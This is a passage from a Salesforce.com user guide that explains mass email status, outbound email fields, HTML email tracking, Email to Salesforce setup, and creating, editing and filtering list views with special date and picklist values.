auto-generated status email from Salesforce.com for each mass email you send. The subject line of the status email contains
the value you entered in the Mass Email Name field when sending the mass email.
• Both the mass email queue and the status email contain the following information:
Addressed To
The number of recipients you selected when creating the mass email.

Sent To
The number of recipients to which Salesforce.com sent the message. This number may differ from the Addressed
To number for the following reasons:

- The mass email would cause your organization to exceed its daily mass email limit. Salesforce.com does not send
the message to any of the intended recipients in this case.
- One or more selected recipients opted out of receiving mass email after the mass email was scheduled but before
it was processed.

213
Email Email Fields

- One or more selected recipient email addresses were removed from the contact or lead after the mass email was
scheduled but before it was processed.
- The user who sent the mass email was deactivated after the mass email was scheduled but before it was processed.
Salesforce.com does not send mass emails scheduled by a user who is deactivated.

• Attachments in mass emails are sent as links rather than as physical files. When recipients click the attachment link in the
email, the attachment opens in a separate Web browser, and they can download the file. Attachments sent as links are
stored for 30 days.
• Email templates give you access only to the fields that are accessible to you via your page layout and field-level security
settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)
• You cannot use an organization-wide address to send a mass email or a Stay-in-Touch request.

See Also:
Email Fields
Editing Email Settings
Setting Field-Level Security
What is a Person Account?

Email Fields
Available in: All Editions

A Salesforce.com outbound email has the following fields, listed in alphabetical order.

Field Description
Attachment List of the attached files. The maximum total size of all email
attachments is 10MB.
BCC List of email addresses to which the email will be blind carbon
copied. Up to 2000 characters are allowed in this field. You
can separate email addresses by semi-colons, commas, spaces,
or new lines. Emails with addresses that contain parentheses,
such as john(smith)@acme.com, will not be sent.
The BCC: field is not available if your organization has enabled
compliance BCC emails.

Body Main text of the email. Up to 32KB of data are allowed in this
field.
CC List of email addresses to which the email will be copied. Up
to 2000 characters are allowed in this field. You can separate
email addresses by semi-colons, commas, spaces, or new lines.
Emails with addresses that contain parentheses, such as
john(smith)@acme.com, will not be sent.

214
Email Tracking HTML Email

Field Description
From Automatically generated field containing your email address.
Related To Existing account, asset, campaign, case, contract, opportunity,
product, solution, or custom object that the email is related
to. This field is not sent with the email, but is stored in the
Activity History with the email.
Signature Your personalized tag line. Set your signature via Email ➤
My Email Settings in the Personal Setup area. It is
automatically appended to individual emails. You can choose
to append it to mass emails.
Subject Subject of the email. Up to 80 characters are allowed in this
field. The contents of this field display in bold if the email
Status is New.

To Name of the contact, lead, or person account to which the


email will be sent. Only one name can be entered in this field.

Tracking HTML Email


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

After sending an HTML email, you can track the date it was first opened, the number of times it was opened, and the date
it was most recently opened.
Detail pages for contacts, leads, and person accounts include an HTML Email Status related list. Each email you send to a
person or mass distribution list is listed, including the date the email was sent, first opened, last opened, and the total number
of times it was opened by all users (multiple openings by the same user are counted). This list also includes automatic emails
such as those sent through Web-to-Lead and Web-to-Case response rules.

• Click Send An Email to create a new message. See Sending Email on page 209 for more details on sending an email.
• Click View All to view more details about all the items in the HTML Email Status related list.
• Click Edit next to an email to add any notes to it.
• Click Del to remove an email from the HTML Email Status related list.
• Click the subject of an email to view the entire email message. If the subject is longer than 100 characters, it is truncated
with ellipses (...).

To report on the HTML email statistics listed in the HTML Email Status related list, use the HTML Email Status Report
available from the Reports tab.

215
Email Using My Email to Salesforce Address

Note: Add the HTML Email Status related list to your contact, lead, and person account page layouts before users
send HTML emails that they need to track.

See Also:
Customizing Activity Settings
What is a Person Account?

Using My Email to Salesforce Address


Available in: All Editions

If you use a company-provided or third-party email account, you can use Email to Salesforce to assign emails to the Activity
History related list on lead, contact, opportunity, and other records in Salesforce.com. When composing, forwarding, or
replying to email, simply enter your Email to Salesforce address in the BCC field. Salesforce.com receives a copy of the email
and, depending on your configuration, adds it to the Activity History related list of the matching records.
If you configure Email to Salesforce to associate emails to matching leads or contacts, Salesforce.com searches the To and
CC fields for the email addresses of your leads or contacts. If any leads or contacts are found, Salesforce.com saves the email
to the Activity History related list on the appropriate record.
If you configure Email to Salesforce to associate emails to matching opportunities, Salesforce.com searches the To and CC
fields for the email addresses of your contacts. If contacts are found, Salesforce.com saves the email to the Activity History
related list on all open opportunities for which the contact is assigned a contact role.
You do not need to configure Email to Salesforce to associate emails to matching records. Salesforce.com searches emails sent
to your Email to Salesforce address for a record ID, then looks for the record. If the record is found, Salesforce.com adds the
email to the Activity History related list on that record.
You can also save a message as an email activity without sending or resending it to another person. Simply forward the email
with your Email to Salesforce address in the To field. Be sure that there are no other email address in the To, CC, and BCC
fields. Salesforce.com receives a copy of the email and searches the From, To, and CC fields in the forwarded email for the
email addresses of your leads and contacts. If any leads or contacts are found, Salesforce.com saves the email in the Activity
History related list on the appropriate record.
When working with Email to Salesforce, note the following:

• You can use Email to Salesforce with email client applications such as IBM® Lotus Notes® and Microsoft® Outlook®, as
well as webmail such as Gmail™ and Yahoo! Mail™.
• Email to Salesforce discards email attachments.
• The email addresses you use to send Email to Salesforce must be configured in the My Acceptable Email Addresses
field in the My Email to Salesforce setup page.
• If Email to Salesforce matches an email address to multiple lead or contact records in Salesforce.com, you can choose to
associate the email with all matching records, the oldest record, or the record with the most activity.
• If Email to Salesforce matches an email to multiple opportunity records in Salesforce.com, the email is included in the
activity history on all matching open records.

216
Email Using My Email to Salesforce Address

• If you use Gmail, see Using Gmail in Salesforce.com on page 310 to learn about the additional Gmail features that
Salesforce.com offers.
• Email to Salesforce can create a maximum of 50 email activities for each email it receives.
• Email text and HTML is automatically truncated to 32 KB.
• Email to Salesforce.com is required to use the Add Email feature with Salesforce CRM for Outlook. Disabling one feature
will automatically disable the other.
Note: Salesforce CRM for Outlook is available through a pilot program. For information on enabling Salesforce
CRM for Outlook for your organization, contact salesforce.com.

An administrator must activate Email to Salesforce for your organization; for information, see Enabling Email to Salesforce
on page 785. After activation, Salesforce.com generates a unique Email to Salesforce address for each user. Users receive an
automated email from Salesforce.com that contains their Email to Salesforce address. The Email to Salesforce address can
also be viewed by clicking Setup ➤ Email ➤ My Email to Salesforce. The Email to Salesforce address is automatically
generated and cannot be changed.

Setting up My Email to Salesforce


Before you can use your Email to Salesforce address, you must configure it as follows:
1. Click Setup ➤ Email ➤ My Email to Salesforce.
Tip: It is recommended that you add your Email to Salesforce address to the address book of your email client
for easy retrieval.

2. In My Acceptable Email Addresses, enter any email addresses you will use to send email. Separate multiple email
addresses with commas.
Important: Your Email to Salesforce address only accepts email from addresses you list. If you do not list any
email addresses, email sent to your Email to Salesforce address will not be associated to any records.

3. Configure Email to Salesforce to add emails as activities to matching opportunities, leads, contacts, or all three.
4. If you selected leads or contacts, choose how Email to Salesforce should process emails containing lead or contact information
that matches duplicate records. Email to Salesforce can add the email activity to all matching records, to the oldest duplicate
record, or to the record that has greatest number of activities.
5. If you selected leads or contacts, optionally configure Email to Salesforce to create a task that enables you to choose which
record to associate the email with if no matching records are found. If this option is not selected, Email to Salesforce will
ignore emails that do not have matching records.
6. Optionally configure Email to Salesforce to send you a confirmation email when emails are successfully associated.
7. Click Save.

Using My Email to Salesforce


To associate an email with a matching lead, contact, or opportunity:
1. Compose an email from a third-party email account that you designated in My Acceptable Email Addresses field
on the My Email to Salesforce setup page.
2. Enter your Email to Salesforce address in the BCC field of your email.
3. Enter desired recipients in the To, CC, and BCC fields.
4. Send the email.

217
Email Using My Email to Salesforce Address

Salesforce.com receives the email and, based on your My Email to Salesforce settings, adds it to the Activity History related
list of matching records.
To associate an email with an individual record:
1. Compose an email from a third-party email account that you designated in My Acceptable Email Addresses field
on the My Email to Salesforce setup page.
2. In Salesforce.com, locate the record ID of the record you want the email associated with. The record ID is the 15-digit,
case-sensitve, alphanumeric code that displays at the end of the URL for a record. For example, if you view the detail page
of a campaign record, the URL will look similar to this: https://na1.salesforce.com/701D0000000HQZy; the
record ID for this record is 701D0000000HQZy.
3. In the subject line or body of the email, type ref: followed by the record ID. For example: ref: 701D0000000HQZy.
Note: Record IDs can either be typed on a separate line or within the email body text if surrounded by (), [], or
{}. For example: (ref: 701D0000000HQZy). Multiple record IDs must be separated with commas, for example:
ref: 701D0000000HQZy, 801D0000000IRAz, 901D0000000JSBa.

4. Enter your Email to Salesforce address in the To, CC, or BCC fields of your email.
5. Optionally enter additional recipients in the To, CC, or BCC fields.
6. Send the email.
Salesforce.com receives the email and adds it to the Activity History related list for each record that matches a record ID
specified in the email. Invalid IDs or IDs for records that you do not have read access to are ignored.
If Email to Salesforce is configured to associate email with matching leads, contacts, or opportunities, an unresolved task will
be created when an email is associated to a lead, contact, or opportunity using only a record ID and not a matching email
address. For example, if you have configured emails to be associated with matching leads and you send an email directly to
your Email to Salesforce address with a lead record ID in the body or subject line of the email, the email will be associated to
the lead and an unresolved task will be created.

See Also:
Enabling Email to Salesforce
Google Apps Overview
Using Gmail in Salesforce.com

218
List Views Creating Custom List Views

LIST VIEWS

Creating Custom List Views


Available in: All Editions

User Permissions Needed


To create custom list views: “Read” on the type of record included in the list
To create, edit, or delete public list views: “Manage Public List Views”

Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.

You can create new list views to see a specific set of records such as contacts, documents, or campaigns. For example, create
a list view of accounts in your state, leads with a specific Lead Source, or opportunities above a particular Amount. You can
also create views of contacts, leads, users, or cases to use for mass email recipient lists.
To edit or delete any view you created, click Edit next to the View drop-down list. Administrators, and users with the “Manage
Public List Views” permission, can also edit or delete public views and some of the standard Salesforce.com views.
To create a new view, click Create New View at the top of any list page or in the Views section of any tab home page. Fill in
the following:

1. Enter View Name


Enter the name to appear in the View drop-down list.
2. If you have the “Customize Application” permission, enter a unique name to be used by the API and managed packages.
This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. The
unique name lets developers change certain components' names or titles in a managed package and the changes are reflected
in a subscriber's organization.
3. Specify Filter Criteria
Filter by Owner
These options vary depending on the kind of record. In general, select All... or My... to specify the set of records
to search. There may be additional options:

• Lead and case list views can be restricted by queue.


• Price book list views can be restricted by price book.
• Activity list views have several options; see Viewing Activity Lists on page 95.
• If your organization has territory management, account and opportunity list views can be restricted by My
Territories or My Territory Teams. My Territories means records associated with territories to

219
List Views Creating Custom List Views

which you belong. My Territory Teams means records associated with either territories to which you belong
or territories below you in the territory hierarchy.
• If your organization has case teams, case list views can be restricted by My Case Teams.
• If your organization has account teams, account list views can be restricted by My Account Teams.
• If your organization has sales teams, opportunity list views can be restricted by My Sales Teams.

Filter by Campaign
This option is available on the following list views:

• Contacts home
• Leads home
• Mass email contacts
• Mass email leads
• Mass add campaign members wizard
• Mass update campaign members wizard

If you are editing a list view that is filtered by campaign, and do not have at least read access to the campaign, you
will receive an error when attempting to save the list view.

Filter by Division
If your organization uses divisions to segment data and you have the “Affected by Divisions” permission, select the
division that records in the list view must match. This option is disabled if you are not searching all records.
Select --Current-- to show records in your current working division.

Filter by Additional Fields


Optionally, enter filter criteria to specify conditions that the selected items must match, for example, Lead Source
equals Web. You can also use special date values in your filter criteria.
Note: When you select the Created Date field in a list view filter, the value you specify can only be a date
and not a time. This restriction does not apply to other filters.

4. Select Fields to Display


The default fields are automatically selected. You can choose up to 15 different fields to display in your view. You can
display only the fields that are available in your page layout. When you select a long text area field, up to 255 characters
are displayed in the list view.

a. To add or remove fields, select a field name, and click the Add or Remove arrow.
b. Use the arrows to arrange the fields in the proper sequence.

5. Restrict Visibility
If you are an administrator or a user with the “Manage Public List Views” permission, specify whether everyone or just
you can see the custom view. This option is not available in Personal Edition. To see a list view, users must also have the
appropriate “Read” permission on the type of records within the list view.
Alternatively, Enterprise, Unlimited, and Developer Edition users can specify a public group, role, or role including all
users below that role to see the custom view. To share the list view, select Visible to certain groups of users,
choose the type of group or role from the drop-down list, select the group or role from the list below it, and click Add.

220
List Views Creating Custom List Views

Note: List views are visible to your customers in the Salesforce.com Customer Portal if the Visible to all
users radio button is selected for views on objects assigned to Customer Portal users' profiles. To create list views
that only your Salesforce.com users can see, select Visible to certain groups of users, and then share
it with the All Internal Users group or a selected set of internal groups and roles.
When implementing a Customer Portal, create custom views that contain only relevant information for Customer
Portal users, and then make those views visible to Customer Portal users by sharing them with the All Customer
Portal. Users group or a selected set of portal groups and roles. For more information about a Customer Portal,
see Setting Up Your Customer Portal on page 1306.

6. Click Save. The view appears in the View drop-down list so you can access it later.
You can rename an existing list view and click Save As to save the criteria of the list view without altering the original
view.

To navigate back to the last list page you viewed, click Back to list at the top of any detail page.
Note: The information you see in list views is only the data to which you have access - either records you own or have
read or read/write access to, records that have been shared to you, or records owned by or shared with users in roles
below you in the role hierarchy.
In addition, you can view only those fields that are visible in your page layout and field-level security settings. (Field-level
security is available only in Enterprise, Unlimited, and Developer Editions). Archived activities are not included in
activity list views. You can use the Activity History related list to view these activities.

Tip: On account, contact, and lead list views click the Open Calendar link at the bottom of the page to display a
weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar
to quickly create an event associated with the record. Note that your administrator controls the availability of this
feature. For more information, see Working with Drag-and-Drop Scheduling on page 131.

See Also:
Printing List Views
Creating Mobile List Views
Filtering on Special Picklist Values
Navigating Long Lists
Deleting List Views
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Tip sheet: Tips & Hints for Custom Views

221
List Views Working with Enhanced Lists

Working with Enhanced Lists


Available in: All Editions

User Permissions Needed


To use inline editing in an enhanced list: “Mass Edit from Lists”

Enhanced lists give you the ability to quickly view, customize, and edit list data to speed up your daily productivity. They must
first be enabled by your administrator for you to take advantage of them.
Enhanced lists allow you to:

• Navigate through the list results by clicking the first page icon (<<), Previous, Next, or the last page icon (>>) at the bottom
of the list.
• Jump to a specific page of results by entering a number in the text box in the lower right corner, and then pressing Enter.
• Create a new view by clicking Create New View. Edit, delete or refresh the current view by clicking, Edit, Delete or
Refresh, respectively.
• Change the number of records displayed per page by clicking the record count indicator in the lower left corner of the list
and selecting the desired setting. You can view 10, 25, 50, 100, or 200 records at a time. When you change this setting,
you return to the first page of list results.
Changing your preference for the number of records displayed per page applies to all lists in all Salesforce.com apps, not
just the one currently displayed. In addition, if you change your preference to 200, a message warns you of possible
performance degradation.
• Change the width of a column by dragging the right side of the column heading with your mouse. Any changes you make
to column widths are specific to that list only, and are preserved when you next view the list.
If you add or remove columns from a list, any column width customizations for that list are discarded automatically.
• Change the order in which a column is displayed by dragging the entire column heading with your mouse to the desired
position. If you have permission to edit the list definition, your changes are automatically saved for all users who see the
list. If you do not have permission to edit the list definition, your changes are discarded when you navigate away from the
page.
• Change the number and order of columns displayed by clicking Edit next to the list drop-down in the upper left corner.
See Creating Custom List Views on page 219.
• If your administrator has enabled inline editing for your organization, edit single records directly from the list by
double-clicking on individual field values. If your administrator has granted you the “Mass Edit from Lists” user profile
permission, you can also edit up to 200 records at a time. See Using Inline Editing in Lists on page 223.
• On account, contact, and lead list views click the Open Calendar link at the bottom of the page to display a weekly view
of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly create

222
List Views Using Inline Editing in Lists

an event associated with the record. Note that your administrator controls the availability of this feature. For more
information, see Working with Drag-and-Drop Scheduling on page 131.

See Also:
Using Inline Editing in Lists
Customizing User Interface Settings
Creating Custom List Views
Navigating Long Lists

Using Inline Editing in Lists


Available in: All Editions

User Permissions Needed


To use inline editing in an enhanced list: “Mass Edit from Lists”

If both inline editing and enhanced lists are enabled, you can edit records directly in a list. Editable fields display a pencil icon
( ) when you hover over the field, while non-editable fields display a lock icon ( ).
Caution: In enhanced list views, when different users make inline edits to the same fields on a record simultaneously,
records are updated with the most recent edit without a conflict error message.

To edit one record, double-click the editable value, specify a new value, and click OK.
If you have the “Mass Edit from Lists” permission, you can edit up to 200 records at once. To edit multiple records:

1. Select the checkbox next to each record you want to update. If you select records on multiple pages, Salesforce.com
remembers which records are selected.
2. Double-click one of the cells you want to edit. A dialog box displays allowing you to apply your edit to one record, or to
every record selected.
Note: You cannot edit multiple product records at once, they must be edited one at a time.

If you encounter any errors when trying to update records, a console window displays showing the name of each record in
error (if known), as well as a description of why the error occurred. Click the name of a record in the console window to open
that record's detail page in a new window. Salesforce.com keeps track of the records you've clicked in the error console by
displaying them in gray, strike-through text.
Note: To view the error console, pop-up blockers must be disabled for the Salesforce.com domain. To check if your
browser allows pop-up windows, click Setup ➤ My Personal Information ➤ Reminders, and then click Preview
Reminder Alert.

223
List Views Printing List Views

Tips for Using Inline Editing with Lists


Note the following tips when using inline editing with lists:
• Some standard fields do not support inline editing. For example, Case Status, Opportunity Stage, Opportunity
Amount, Opportunity Quantity and Lead Status, and most Task and Event fields can only be edited from a
record's edit page. For more information, see Editing Data Using Inline Editing on page 14.
• If your organization uses record types, inline editing with lists is only available when all of the records in the list are of the
same record type. Therefore, you must specify a filter of Record Type equals X, where X is the name of a single
record type (or blank for the master record type).
• To perform inline editing on an enhanced list, Advanced Filter options must be turned off in the list view filter criteria.
• For lists of activities, you must specify an additional filter of either Task equals True (for tasks) or Task equals
False (for events) for inline editing to be available.
• If your organization is using Person Accounts, you cannot use inline editing to change them from a Contact list. You can
only inline edit Person Accounts from an Account list.
• If your organization is using Person Accounts, you can only use inline editing on contacts associated to business accounts
by specifying an additional filter of Is Person Account EQUALS False in your list criteria.

Printing List Views


Available in: All Editions

User Permissions Needed


To print list views: “Read” on the records included in the list

Note: Your administrator can enable and disable printable list views.

You can print list views for the following kinds of records:

• Accounts
• Activities
• Campaigns
• Cases
• Contacts
• Contracts
• Custom objects
• Documents
• Leads
• Opportunities
• Price books
• Profiles
• Products
• Reports

224
List Views Navigating Long Lists

• Solutions

To print a list view:

1. Navigate to a list view. For example, view the All Open Leads list view on the Leads tab, the My Contacts list view on
the Contacts tab, or the Closing This Month list view on the Opportunities tab.
2. As appropriate, click a column header to sort the contents of the list view.
3. Click the Printable View icon ( ). A new browser window opens with the contents of the list view in a print-ready format.

Note: The printable view has the sorting you chose in the previous step. To change the sorting, close the printable
view window, select the appropriate column header on the list view, and then click the Printable View icon.

4. Optionally, choose a value in the Number of Records drop-down list to filter how many records display. The maximum
number of records that can display at one time is 1,000. To show fewer records, refine your list view criteria. To print more
than 1,000 records, run a report and then click the Printable View icon on the report.
5. Click Print this Page in the upper right corner.

See Also:
Creating Custom List Views

Navigating Long Lists


Available in: All Editions

Many list pages in Salesforce.com include the following tools for managing a large amount of data:

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view.
To edit or delete any view you created, select it from the View drop-down list and click Edit.
• At the top of a list, click a letter to show items that correspond to that letter, or click Other to show items whose names
begin with numbers or symbols. Click All to display all items that match the criteria of the current view.
• To sort list view items by the data in a particular column, click that column’s heading. This sorts text data alphabetically
and numerical data in ascending order. Dates are sorted with the most recent date first. To reverse the sort order, click the
column heading a second time.
Note: You can sort by any custom field except multi-select picklists.

• Click the Previous Page or Next Page link to go to the previous or next set of items in the current view.
• At the bottom of a list, click the fewer or more link to decrease or increase the number of items per page.

In some related lists with many items, the following links are available:

• Click Show [number] more to increase the number of items in the list.

225
List Views Deleting List Views

• Click Go to list to display a secondary page of the entire related list.

See Also:
Creating Custom List Views
Viewing Profile Lists

Deleting List Views


Available in: All Editions

To delete one of your custom views, select the view from the drop-down list and click the Edit link. At the top of the page,
click the Delete button. If you are an administrator or a user with the “Manage Public List Views” permission, you can also
delete shared views as well as some standard views.

See Also:
Creating Custom List Views
Navigating Long Lists

Special Date Values for Filter Criteria


Available in: All Editions

Use the following special date values when defining filter criteria using dates. If you choose a date field (for example, Create
Date, Last Update Date) as a filter criteria, the value can be a date in the format allowed by your Locale setting or any
of the following special values:

Special Date Value Range


YESTERDAY Starts at 12:00:00 a.m. on the day before the current day and continues for
24 hours.
TODAY Starts at 12:00:00 a.m. on the current day and continues for 24 hours.
TOMORROW Starts at 12:00:00 a.m. on the day after the current day and continues for 24
hours.
LAST WEEK Starts at 12:00:00 a.m. on the first day of the week before the current week
and continues for seven days.
For Enterprise, Unlimited, Professional, and Developer Editions, the week
is defined by the Locale drop-down list in your personal information
settings at Setup ➤ My Personal Information ➤ Personal Information.
For Contact Manager, Group, and Personal Editions, the week is defined

226
List Views Special Date Values for Filter Criteria

Special Date Value Range


by the Locale setting in the company profile at Setup ➤ Company Profile
➤ Company Information. For example, when the Locale is US English,
a week runs Sunday to Saturday, whereas with UK English, a week spans
Monday to Sunday.

THIS WEEK Starts at 12:00:00 a.m. on the first day of the current week and continues
for seven days.
For Enterprise, Unlimited, Professional, and Developer Editions, the week
is defined by the Locale drop-down list in your personal information
settings at Setup ➤ My Personal Information ➤ Personal Information.
For Contact Manager, Group, and Personal Editions, the week is defined
by the Locale setting in the company profile at Setup ➤ Company Profile
➤ Company Information. For example, when the Locale is US English,
a week runs Sunday to Saturday, whereas with UK English, a week spans
Monday to Sunday.

NEXT WEEK Starts at 12:00:00 a.m. on the first day of the week after the current week
and continues for seven days.
For Enterprise, Unlimited, Professional, and Developer Editions, the week
is defined by the Locale drop-down list in your personal information
settings at Setup ➤ My Personal Information ➤ Personal Information.
For Contact Manager, Group, and Personal Editions, the week is defined
by the Locale setting in the company profile at Setup ➤ Company Profile
➤ Company Information. For example, when the Locale is US English,
a week runs Sunday to Saturday, whereas with UK English, a week spans
Monday to Sunday.

LAST MONTH Starts at 12:00:00 a.m. on the first day of the month before the current
month and continues for all the days of that month.
THIS MONTH Starts at 12:00:00 a.m. on the first day of the current month and continues
for all the days of that month.
NEXT MONTH Starts at 12:00:00 a.m. on the first day of the month after the current month
and continues for all the days of that month.
LAST 90 DAYS Starts at 12:00:00 a.m. 90 days before the current day and continues up to
the current second. (The range includes today.)
NEXT 90 DAYS Starts at 12:00:00 a.m. on the day after the current day and continues for 90
days. (The range does not include today.)
LAST n DAYS Starts at 12:00:00 a.m. n days before the current day and continues up to
the current second. (The range includes today.)
NEXT n DAYS Starts at 12:00:00 a.m. on the next day and continues for the next n days.
(The range does not include today.)
LAST QUARTER Starts at 12:00:00 a.m. on the first day of the quarter before the current
quarter and continues to the end of that quarter.

227
List Views Special Date Values for Filter Criteria

Special Date Value Range


THIS QUARTER Starts at 12:00:00 a.m. on the first day of the current quarter and continues
to the end of the quarter.
NEXT QUARTER Starts at 12:00:00 a.m. on the first day of the quarter after the current quarter
and continues to the end of that quarter.
LAST n QUARTERS Starts at 12:00:00 a.m. on the first day of the quarter n quarters ago and
continues to the end of the quarter before the current quarter. (The range
does not include the current quarter.)
NEXT n QUARTERS Starts at 12:00:00 a.m. on the first day of the quarter after the current quarter
and continues to the end of the quarter n quarters in the future. (The range
does not include the current quarter.)
LAST YEAR Starts at 12:00:00 a.m. on January 1 of the year before the current year and
continues through the end of December 31 of that year.
THIS YEAR Starts at 12:00:00 a.m. on January 1 of the current year and continues through
the end of December 31 of the current year.
NEXT YEAR Starts at 12:00:00 a.m. on January 1 of the year after the current year and
continues through the end of December 31 of that year.
LAST n YEARS Starts at 12:00:00 a.m. on January 1 of the year n years ago and continues
through December 31 of the year before the current year.
NEXT n YEARS Starts at 12:00:00 a.m. on January 1 of the year after the current year and
continues through the end of December 31 of the nth year.
LAST FISCAL QUARTER Starts at 12:00:00 a.m. on the first day of the fiscal quarter before the current
fiscal quarter and continues through the last day of that fiscal quarter. The
fiscal quarter is defined in the company profile at Setup ➤ Company Profile
➤ Fiscal Year.
Note: None of the FISCAL special date values are supported when
creating mobile custom views.

THIS FISCAL QUARTER Starts at 12:00:00 a.m. on the first day of the current fiscal quarter and
continues through the end of the last day of the current fiscal quarter. The
fiscal quarter is defined in the company profile at Setup ➤ Company Profile
➤ Fiscal Year.
NEXT FISCAL QUARTER Starts at 12:00:00 a.m. on the first day of the fiscal quarter after the current
fiscal quarter and continues through the last day of that fiscal quarter. (The
range does not include the current quarter.) The fiscal quarter is defined in
the company profile at Setup ➤ Company Profile ➤ Fiscal Year.
LAST n FISCAL QUARTERS Starts at 12:00:00 a.m. on the first day of the fiscal quarter n fiscal quarters
ago and continues through the end of the last day of the previous fiscal
quarter. (The range does not include the current fiscal quarter.) The fiscal
quarter is defined in the company profile at Setup ➤ Company Profile ➤
Fiscal Year.

228
List Views Special Date Values for Filter Criteria

Special Date Value Range


NEXT n FISCAL QUARTERS Starts at 12:00:00 a.m. on the first day of the fiscal quarter after the current
fiscal quarter and continues through the end of the last day of the nth fiscal
quarter. (The range does not include the current fiscal quarter.) The fiscal
quarter is defined in the company profile at Setup ➤ Company Profile ➤
Fiscal Year.
LAST FISCAL YEAR Starts at 12:00:00 a.m. on the first day of the fiscal year before the current
fiscal year and continues through the end of the last day of that fiscal year.
The fiscal year is defined in the company profile at Setup ➤ Company
Profile ➤ Fiscal Year.
THIS FISCAL YEAR Starts at 12:00:00 a.m. on the first day of the current fiscal year and continues
through the end of the last day of the fiscal year. The fiscal year is defined
in the company profile at Setup ➤ Company Profile ➤ Fiscal Year.
NEXT FISCAL YEAR Starts at 12:00:00 a.m. on the first day of the fiscal year after the current
fiscal year and continues through the end of the last day of that fiscal year.
The fiscal year is defined in the company profile at Setup ➤ Company
Profile ➤ Fiscal Year.
LAST n FISCAL YEARS Starts at 12:00:00 a.m. on the first day of the fiscal year n fiscal years ago
and continues through the end of the last day of the fiscal year before the
current fiscal year. (The range does not include the current fiscal year.) The
fiscal year is defined in the company profile at Setup ➤ Company Profile
➤ Fiscal Year.
NEXT n FISCAL YEARS Starts at 12:00:00 a.m. on the first day of the fiscal year after the current
fiscal year and continues through the end of the last day of the nth fiscal
year. (The range does not include the current fiscal year.) The fiscal year is
defined in the company profile at Setup ➤ Company Profile ➤ Fiscal Year.

For example, to create a custom view or report of accounts created last week, enter “Create Date equals LAST WEEK.” Date
values are not case-sensitive; you can use “LAST WEEK” or “last week.” For special date values with variables (such as “NEXT
N DAYS”), substitute N with any number greater than zero. Do not use commas.

See Also:
Creating Custom List Views
Customizing Reports
Filtering on Special Picklist Values

229
List Views Filtering on Special Picklist Values

Filtering on Special Picklist Values


The available fields vary according to which Salesforce.com Edition you have.

When creating filter criteria, such as in a list view or report or when mass deleting records, you can use special picklist values
for your search criteria. These are special picklists with values of either “True” or “False.”
For example, to show all opportunities you have won, enter “Won equals True” as your search criteria. To show all closed/lost
opportunities, enter “Closed equals True” and “Won equals False.”
Note: If you are creating filter criteria for a report or list view, the lookup icon automatically displays when you choose
to filter on one of the special picklists. Click the lookup icon to choose the value “True” or “False.” Alternatively, you
can manually enter “True” or “False” in the filter criteria.

These are the available fields and their values:

Special Picklist Field Value Description


Accounts and contacts: Is Person True The account is a person account. For more information, see
Account What is a Person Account? on page 54. Note that your
administrator may have customized the name of this field.
This field displays as the person account icon ( ).
False The account is a business account.
Accounts, leads, and opportunities: True The account is a partner account, or the lead or opportunity
Partner Account owner is a partner user. For more information, see Partner
Portal Overview on page 2500.
False The account is not a partner account or the lead or
opportunity owner is not a partner user.
Activities: All-day True Applies only to events, not tasks. The event is marked as an
all day event.
False The event has a specific time.
Activities: Closed True Applies only to tasks, not events. The task has been closed,
that is, the task Status field has a “Closed” value.
False Task is still open.
Activities: Event Invitation True Applies only to events, not tasks. The event is the meeting
invite sent to another user for a group event.
(Only for reports)

False The event is the original group event assigned to the event
host.
False Activity does not have a green sheet.
Activities: Task True Activity is a task, not an event.
False Activity is an event.

230
List Views Filtering on Special Picklist Values

Special Picklist Field Value Description


Campaigns: Active True Campaign is active and can be chosen from various campaign
picklists, for example, in the campaign import wizards.
False Campaign is inactive.
Cases: Closed True The case is closed, that is, the case Status field has a
“Closed” value.
False Case is still open.
Cases: Escalated True Case has been automatically escalated via your organization's
escalation rule.
False Case has not been escalated.
Cases: New Self-Service Comment True Case has a new comment added by a Self-Service user.
False Case does not have a new Self-Service comment.
Cases: Open True The case is open, that is, the case Status has a value that
is not equivalent to “Closed.”
(Only for reports)

False Case has been closed.


Cases: Self-Service Commented True Case has a comment added by a Self-Service user.
False Case does not have a Self-Service comment.
Contacts: Email Opt Out True The contact cannot be included in a mass email recipient
list.
False The contact may receive mass email.
Contacts: Self-Service Active True The contact is enabled to log in to your Self-Service portal.
(Only for reports)

False The contact is not enabled for Self-Service.


Leads: Converted True The lead has been converted.
(Only for reports)

False The lead has not been converted.


Leads: Email Opt Out True The lead cannot be included in a mass email recipient list.
False The lead may receive mass email.
Leads: Unread True The lead has not yet been viewed or edited by the owner
since it was assigned to that user.
False The lead has been viewed or edited at least once by the
owner since it was assigned.
Opportunities: Closed True The opportunity is closed, that is, the Stage field has a
value of the type Closed/Won or Closed/Lost.

231
List Views Filtering on Special Picklist Values

Special Picklist Field Value Description


False The opportunity is still open.
Opportunities: Primary True The partner for the opportunity has been marked as the
primary partner.
(Only for Partner Opportunities report)

False The partner for the opportunity has not been marked as the
primary partner.
Opportunities: Private True The opportunity owner has checked the Private box on
the opportunity edit page.
False The Private box on the opportunity is not checked.
Opportunities: Won True The opportunity is closed and won, that is, the Stage field
has a value of the type Closed/Won.
False The opportunity has not been won. The Stage field may
have a value of the type Open or Closed/Lost.
Products: Active True Product is active and can be added to opportunities in
Enterprise and Unlimited Edition organizations.
False Product is inactive and cannot be added to opportunities.
Product: Has Quantity Schedule True Product has a default quantity schedule.
False Product does not have a default quantity schedule.
Product: Has Revenue Schedule True Product has a default revenue schedule.
False Product does not have a default revenue schedule.
Solutions: Visible in True The solution has been marked Visible in
Self-Service Portal Self-Service Portal and is visible to Self-Service portal
users.
False Solution is not marked Visible in Self-Service
Portal and is not visible to Self-Service portal users.

Solutions: Reviewed True The solution has been reviewed, that is, the solution Status
field has a “Reviewed” value.
False Solution is not reviewed.
Solutions Out of Date True The translated solution has not been updated to match the
master solution with which it is associated.
False The translated solution has been updated to match the
master solution with which it is associated.
Users: Active True User is active and can log in.
False User is inactive and cannot log in.
Users: Offline User True User has access to use Connect Offline.
False User is not enabled for Connect Offline use.

232
Notes & Attachments Viewing and Editing Google Docs, Notes, and Attachments

